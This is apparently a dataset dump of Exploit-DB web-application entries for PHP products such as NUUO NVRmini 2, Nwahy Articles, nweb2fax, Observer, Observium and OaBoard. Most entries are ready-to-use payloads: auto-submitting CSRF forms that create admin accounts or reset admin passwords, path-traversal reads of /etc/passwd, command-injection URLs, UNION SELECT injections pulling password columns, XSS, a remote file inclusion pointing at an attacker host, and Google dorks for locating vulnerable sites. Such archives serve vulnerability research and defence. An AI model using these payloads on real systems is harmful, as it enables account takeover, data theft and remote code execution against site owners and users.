deardaniel/secdata-raw huggingface dataset:
Exploit-DB #40210
Description: NUUO NVRmini 2 3.0.8 - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: php
Date: 2016-08-06
Author: LiquidWorm

Exploit:
<!--

NUUO CSRF Add Admin Exploit


Vendor: NUUO Inc.
Product web page: http://www.nuuo.com
Affected version: <=3.0.8 (NE-4160, NT-4040)

Summary: NUUO NVRmini 2 is the lightweight, portable NVR solution with NAS
functionality. Setup is simple and easy, with automatic port forwarding
settings built in. NVRmini 2 supports POS integration, making this the perfect
solution for small retail chain stores. NVRmini 2 also comes full equipped as
a NAS, so you can enjoy the full storage benefits like easy hard drive hot-swapping
and RAID functions for data protection. Choose NVR and know that your valuable video
data is safe, always.

Desc: The application interface allows users to perform certain actions via HTTP
requests without performing any validity checks to verify the requests. This can be
exploited to perform certain actions with administrative privileges if a logged-in
user visits a malicious web site.


Tested on: GNU/Linux 3.0.8 (armv7l)
           GNU/Linux 2.6.31.8 (armv5tel)
           lighttpd/1.4.28
           PHP/5.5.3


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2016-5349
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5349.php


14.01.2016

-->


<!-- 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 -->
<html>
  <body>
    <form action="http://10.0.0.17/users_xml.php">
      <input type="hidden" name="&#95;password2" value="admin" />
      <input type="hidden" name="addusername" value="csrfadmin" />
      <input type="hidden" name="password" value="admin" />
      <input type="hidden" name="cmd" value="adduser" />
      <input type="hidden" name="group" value="poweruser" />
      <input type="hidden" name="displaygroup" value="power&#32;user" />
      <input type="hidden" name="magic" value="574" />
      <input type="hidden" name="liveacc" value="1&#44;2&#44;3&#44;4&#44;5&#44;6&#44;7&#44;8&#44;9&#44;10&#44;11&#44;12&#44;13&#44;14&#44;15&#44;16" />
      <input type="hidden" name="pbacc" value="1&#44;2&#44;3&#44;4&#44;5&#44;6&#44;7&#44;8&#44;9&#44;10&#44;11&#44;12&#44;13&#44;14&#44;15&#44;16" />
      <input type="hidden" name="ptzacc" value="1" />
      <input type="hidden" name="ioacc" value="1" />
      <input type="hidden" name="backupacc" value="1" />
      <input type="hidden" name="deleteacc" value="1" />
      <input type="hidden" name="emapeacc" value="1" />
      <input type="hidden" name="remotalkacc" value="1" />
      <input type="hidden" name="logacc" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
Exploit-DB #19927
Description: Nwahy Articles 2.2 - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: php
Date: 2012-07-18
Author: DaOne

Exploit:
##########################################
[~] Exploit Title: Nwahy Articles V2.2 CSRF Add Admin
[~] Author: DaOne
[~] Date: 18-7-2012
[~] Category: webapps
[~] Software Link: http://www.nwahy.com/upload/article-v2.2.rar
[~] Google dork: intext:"Powered by Nwahy Articles V2.2"
##########################################

[#] ~[ Exploit ]~

<html>
<body onload="document.form0.submit();">
<form method="POST" name="form0" action="http://localhost/admincp/user.php?action=insert">
<input type="hidden" name="username" value="webadmin"/>
<input type="hidden" name="password" value="123456"/>
<input type="hidden" name="email" value="admin@admin.com"/>
<input type="hidden" name="site" value="http://www.nwahy.com"/>
<input type="hidden" name="name" value="..."/>
<input type="hidden" name="groubtype" value="1"/>
</form>
</body>
</html>

##########################################
Exploit-DB #5856
Description: nweb2fax 0.2.7 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2008-06-18
Author: dun

Exploit:
  :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ dun[at]strcpy.pl ]

 ##################################################################
 #  [  nweb2fax <= 0.2.7   Multiple Remote Vulnerabilities  ]     #
 ##################################################################
 #
 # Script site:  http://sourceforge.net/projects/nweb2fax/
 # 
 # [ Local File Inclusion Vulnerability ]:
 #  *** /comm.php?id=../../../../../../../../../../etc/passwd
 #
 # Bug:
 #
 # ...
 # $var_id=$_GET['id'];
 # $fileary = file ( "$DIR_SPOOL/log/c$var_id" );
 # reset($fileary);
 # foreach ($fileary as $line) {
 # 	if( trim($line) != "" ){
 # 		print "<br>$line";
 # 	}
 # }
 # ...
 #
 #
 # [ Arbitrary File Download Vulnerability ]:
 #
*** /viewrq.php?format=ps&var_filename=../../../../../../../../../../etc/passwd
 #
 # Bug:
 #
 # ...
 # $var_filename=$_GET['var_filename'];
 # $var_format=$_GET['format'];
 # ...
 # if( $var_format == "ps" ) {
 #   $filename = "$DIR_SPOOL/$var_filename";
 #   header("Content-Type: application/postscript");
 #   header('Content-Disposition: attachment;
filename="downloaded.ps"');
 #   readfile("$filename");
 # ...
 #
 #
 # [ Remote Command Execution 1]:
 # *** /viewrq.php?format=tif&var_filename=;id%3E/tmp/id.txt;chmod%
20777%20/tmp/id.txt;
 #
 # Bug:
 # ...
 # $var_filename=$_GET['var_filename'];
 # $var_format=$_GET['format'];
 # ...
 # } elseif ($var_format == "pdf")  {
 # ...
 # $recvq_filename = "$DIR_SPOOL/$var_filename";
 # ...
 # exec("$PROG_TIFF2PS -a -O $FILE_TMP1 $recvq_filename",$exec_output,
$exec_return);
 # ...
 # 
 #
 # [ Remote Command Execution 2]:
 # *** /viewrq.php?format=pdf&var_filename=;id%3E/tmp/id2.txt;chmod%
20777%20/tmp/id2.txt;id
 #      
 # Bug:
 # ...
 # $var_filename=$_GET['var_filename'];
 # $var_format=$_GET['format'];
 # ...
 # } elseif ($var_format == "pdf")  {
 # ...
 # $recvq_filename = "$DIR_SPOOL/$var_filename";
 # ...
 #  $cmd="$PROG_CAT $recvq_filename | $PROG_GS $gs_options";
 # ...
 #  exec($cmd,$exec_output,$exec_return);
 # ...
 #
 #
 ###############################################
 # Greetz: D3m0n_DE * sid.psycho * str0ke and otherz..
 ###############################################

 [ dun / 2008 ] 

# milw0rm.com [2008-06-18]
Exploit-DB #34636
Description: NWS-Classifieds - 'cmd' Local File Inclusion
Type: webapps
Platform: php
Date: 2010-09-15
Author: John Leitch

Exploit:
source: https://www.securityfocus.com/bid/43259/info

NWS-Classifieds is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to obtain potentially sensitive information and to execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.

NWS-Classifieds 007 is vulnerable; other versions may also be affected.

http://www.example.com/index.php?cmd=../../../../../../../../windows/system.ini%00
Exploit-DB #28568
Description: NX5Linkx 1.0 - 'links.php' HTTP Response Splitting
Type: webapps
Platform: php
Date: 2006-09-13
Author: Aliaksandr Hartsuyeu

Exploit:
source: https://www.securityfocus.com/bid/20011/info

NX5Linkx is prone to an HTTP response-splitting vulnerability because the application fails to properly sanitize user-supplied input.

A remote attacker may exploit this vulnerability to influence or misrepresent how web content is served, cached, or interpreted. This could aid in various attacks that attempt to entice client users into a false sense of trust.

http://www.example.com% 0D%0A%0D%0AHTTP/1.0 200 OK%0D%0A%0D% 0A.......
Exploit-DB #28567
Description: NX5Linkx 1.0 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2006-09-13
Author: Aliaksandr Hartsuyeu

Exploit:
source: https://www.securityfocus.com/bid/20010/info

NX5Linkx is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.

An attacker may be able to exploit these issues to modify the logic of SQL queries. Successful exploits may allow the attacker to compromise the software, retrieve information, or modify data; other consequences are possible as well.

http://www.example.com/links.php? c=999'% 20union%20select% 201,222
http://www.example.com/out.php? l=999' union select 1,1,'http://www.example.com', 1,1,1,1
Exploit-DB #27344
Description: NZ eCommerce System - 'index.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2006-03-02
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/16931/info

NZ Ecommerce is prone to multiple input-validation vulnerabilities. These issues are due to the application's failure to properly sanitize user-supplied input. 

A successful exploit could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

http://www.example.com/index.php?action=Information&informationID=[SQL]
http://www.example.com//index.php?action=DisplayOverviewproduct&ParentCategory=[SQL]
Exploit-DB #6164
Description: nzFotolog 0.4.1 - 'action_file' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-07-30
Author: Khashayar Fereidani

Exploit:
#####################################################################################
####                           nzFotolog v0.4.1 (Lfi)                            ####
#####################################################################################
#                                                                                   #
#AUTHOR : IRCRASH (R3d.W0rm)                                                        #
#Discovered by : IRCRASH (R3d.W0rm)                                                 #
#Our Site : Http://IRCRASH.COM                                                      #
#IRCRASH Team Members : Dr.Crash - R3d.w0rm                                         #
#####################################################################################
#                                                                                   #
#Script Download : www.nazgulled.net                                                #
#                                                                                   #
#DORK : "Powered by nzFotolog v0.4.1 Â© 2005-2006 Ricardo Amaral"                    #
#                                                                                   #
#####################################################################################
#                                       [Lfi]                                       #
#                                                                                   #
#http://Example/index.php?action_file=file.type%00                                  #
#                                                                                   #
#####################################################################################
#                           Site : Http://IRCRASH.COM                               #
###################################### TNX GOD ######################################

# milw0rm.com [2008-07-30]
Exploit-DB #26683
Description: O-Kiraku Nikki 1.3 - 'Nikki.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-11-30
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15657/info

O-Kiraku Nikki is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

Versions 1.3 and prior are reported to be vulnerable; other versions may also be affected. 

http:///okiraku.php?lang=&day_id=[SQL]
Exploit-DB #27535
Description: O2PHP Oxygen 1.0/1.1 - 'post.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-03-30
Author: Morocco Security Team

Exploit:
source: https://www.securityfocus.com/bid/17324/info

Oxygen is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

Oxygen versions 1.1.3 and prior are reported to be affected.

http://www.example.com/post.php?action=newthread&fid=[sql]
Exploit-DB #26441
Description: OaBoard 1.0 - 'forum.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2005-10-31
Author: abducter_minds@yahoo.com

Exploit:
source: https://www.securityfocus.com/bid/15245/info

OaBoard is prone to multiple SQL injection vulnerabilities. These issues are due to a lack of proper sanitization of user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

http://www.example.com/oaboard/forum.php?modul=topics&channel=[SQL]
http://www.example.com/oaboard/forum.php?modul=topics&channel=-99%20UNION%20SELECT%20null,password%20FROM%20pw99_user%20WHERE%20id=1

http://www.example.com/oaboard/forum.php?modul=posting&topic=[SQL]&channel=3
http://www.example.com/oaboard/forum.php?modul=posting&topic=30%20UNION%20SELECT%20null,username,null,password%20FROM%20pw99_user%20WHERE%20id=1/*&channel=3
Exploit-DB #26998
Description: OABoard 1.0 Forum - Remote File Inclusion
Type: webapps
Platform: php
Date: 2005-12-29
Author: Aliaksandr Hartsuyeu

Exploit:
source: https://www.securityfocus.com/bid/16105/info

The oaBoard application is prone to a remote file-include vulnerability. As a result, remote users may specify external PHP scripts to be included by the application.

This could result in the execution of arbitrary PHP code in the context of the webserver hosting the application. 

http://oaboard.example.com/oaboard_en/forum.php?inc=http://attacker.example.com/code.php
Exploit-DB #29956
Description: ObieWebsite Mini Web Shop 2 - 'order_form.php?PATH_INFO' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-05-02
Author: CorryL

Exploit:
source: https://www.securityfocus.com/bid/23847/info

Mini Web Shop is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input.

An attacker can exploit these issues to steal cookie-based authentication credentials and launch other attacks.

This issue affects Mini Web Shop 2; other versions may also be affected.

http://remote-server/path/modules/order_form.php/[xss]
Exploit-DB #29957
Description: ObieWebsite Mini Web Shop 2 - 'Sendmail.php?PATH_INFO' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-05-02
Author: CorryL

Exploit:
source: https://www.securityfocus.com/bid/23847/info
 
Mini Web Shop is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input.
 
An attacker can exploit these issues to steal cookie-based authentication credentials and launch other attacks.
 
This issue affects Mini Web Shop 2; other versions may also be affected.
 
http://remote-server/path/modules/sendmail.php/[xss]
Exploit-DB #9600
Description: OBOphiX 2.7.0 - 'fonctions_racine.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-09-09
Author: EA Ngel

Exploit:
[*] OBOphiX [fonctions_racine.php] <= 2.7.0 Remote File Include Vulnerability 


[+] Author	        : EA Ngel
[+] Location        : Manado - Indonesia
[+] Situs           : www[dot]manadocoding[dot]net
[+] Contact         : engelpemula@gmail.com
[+] Download Script : http://biznetnetworks.dl.sourceforge.net/project/obophix/obophix/pack%20complet%20V1.0/lib.V1.zip


[/] Dork            : cari sandiri jo neh <= :d


[#] Bug             : require("$chemin_lib/config.inc.php");


[^] 3xpl0it         : http://localhost/[path]/fonctions_racine.php?chemin_lib=[thanks.txt?]

                   
[@] Special Thanks  : str0ke, basix, kamuiclone, Mr.C, cokiki, bl4ck_3n9in3, cyberlog, dbanie, fl3xu5, exnome
                      g4pt3k, tonaas, doniskynet, rezagms, wishnu, my_wishdom, b0b0h0, jeckham, k3nz0, yadiyauri
                      akiko, steve_san, steve_diving, moon_lee, c6, bibeh^pink, missi, luv13, 
                      hyhgao, eyin, key, sansan and all friends


[!] Greetz to0     : cr4wl3r is companions in arms and cpu monitor, keyboard, mouse <= :d
                     
                     | gorontalodefacer[dot]org | sekuritionline[dot]net |


[^] Note            : Jangan pernah malu untuk menjadi seorang pemula

                      TUHAN MEMBERKATI  

# milw0rm.com [2009-09-09]
Exploit-DB #6559
Description: Observer 0.3.2.1 - Multiple Remote Command Execution Vulnerabilities
Type: webapps
Platform: php
Date: 2008-09-24
Author: dun

Exploit:
  :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ dun[at]strcpy.pl ]

 #########################################################
 #  [ observer <= 0.3.2.1 ]   Remote Command Execution   #
 #########################################################
 #
 # Script: "Observer is an autodiscovering PHP/MySQL/SNMP/CDP based network management system focused primarily on Cisco and Linux/BSD networks."
 #
 # Script site: http://www.project-observer.org/
 # Download: http://freshmeat.net/projects/observer/
 #
 # Vuln: 
 # (1) http://site.com/[observer-0.3.2.1]/whois.php?query=|uname -a
 # (2) http://site.com/[observer-0.3.2.1]/netcmd.php?cmd=nmap&query=|uname -a    
 #
 #
 # Bug(1): ./observer-0.3.2.1/html/whois.php
 #
 # ...
 # 	$output = `/usr/bin/whois $_GET[query] | grep -v \%`;
 #	$output = trim($output);
 #	echo("<pre>$output</pre>");
 # ... 	 
 #
 #
 # Bug(2): ./observer-0.3.2.1/html/netcmd.php
 #
 # ...
 #  switch ($_GET[cmd]) {
 #   case 'whois':
 #     $output = `/usr/bin/whois $_GET[query] | grep -v \%`;
 #     break;
 #   case 'ping':
 #     $output = `/bin/ping $_GET[query]`;
 #     break;
 #   case 'tracert':
 #     $output = `/usr/sbin/traceroute $_GET[query]`;
 #     break;
 #   case 'nmap':
 #     $output = `/usr/bin/nmap $_GET[query]`;
 #     break;
 #  }
 #  $output = trim($output);
 #  echo("<pre>$output</pre>");
 # ... 			    		    
 #
 #
 ###############################################
 # Greetz: D3m0n_DE * str0ke * and otherz..
 ###############################################

 [ dun / 2008 ] 

*******************************************************************************************

# milw0rm.com [2008-09-24]
Exploit-DB #39744
Description: Observium 0.16.7533 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2016-04-29
Author: Dolev Farhi

Exploit:
<!--
# Exploit title: Observium Commercial - CSRF
# Author: Dolev Farhi
# Contact: dolevf at protonmail.com
# Date: 28-04-2016
# Vendor homepage: http://observium.org/
# Software version: CE 0.16.7533

 
# Details:
Observium is a low-maintenance auto-discovering network monitoring platform supporting a wide range of device types, platforms and operating systems including Cisco, Windows, Linux, HP, Juniper, Dell, FreeBSD, Brocade, Netscaler, NetApp and many more. Observium focuses on providing a beautiful and powerful yet simple and intuitive interface to the health and status of your network.

CSRF details
due to lack of csrf protection, it is possible to create an additional administrator user, or change the current administrator password since it does not ask for the previous password before changing it. 
i.e. New password <Enter new pass> & retype password <Enter new pass>
instead of having to insert the older password.
such an attack would look like this:
-->

<html>
<div align="center">
<pre>
 
<h2><b>Change admin password<b></h2>
<body>
<form
action="http://observiumIP/edituser/user_id=1/"
method="POST">
<input type="hidden" name="action" value="changepass" />
<input type="hidden" name="new_pass" value="test123" />
<input type="hidden" name="new_pass2" value="test123" />
<input type="submit" name="submit" value="save" />
    </form>
    </body>
</div>
</html>
Exploit-DB #34082
Description: Obsession-Design Image-Gallery 1.1 - 'display.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-01-02
Author: kaMtiEz

Exploit:
source: https://www.securityfocus.com/bid/40557/info

Obsession-Design Image-Gallery is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Obsession-Design Image-Gallery 1.1 is vulnerable; other versions may also be affected.

http://www.example.com/demos/odig/display.php?folder=/>"><script>alert(123456789)</script>
Exploit-DB #25469
Description: Ocean12 Calendar Manager 1.0 - Admin Form SQL Injection
Type: webapps
Platform: php
Date: 2005-04-20
Author: Zinho

Exploit:
source: https://www.securityfocus.com/bid/13279/info

Ocean12 Calendar Manager is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/products/calendar/demo/admin/?Admin_ID=Admin' UNION ALL SELECT
id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,i d,id FROM settings WHERE
Admin_id='Admin&Password=1
Exploit-DB #7247
Description: Ocean12 Calendar Manager Gold - Database Disclosure
Type: webapps
Platform: php
Date: 2008-11-27
Author: Pouya_Server

Exploit:
#########################################################
---------------------------------------------------------
Portal Name: Ocean12 Calendar Manager Gold
Version: 2.04
Vendor : http://ocean12tech.com/products/o12calgold
Dork: Maintained with the Ocean12 Calendar Manager Gold v2.04
Author : Pouya_Server , Pouya.s3rver@Gmail.com
Vulnerability : Database Disclosure Vulnerability
---------------------------------------------------------
#########################################################
http://site.com/path/o12cal.mdb

---------------------------------
Victem :
http://ocean12tech.com/products/o12calgold/demo

# milw0rm.com [2008-11-27]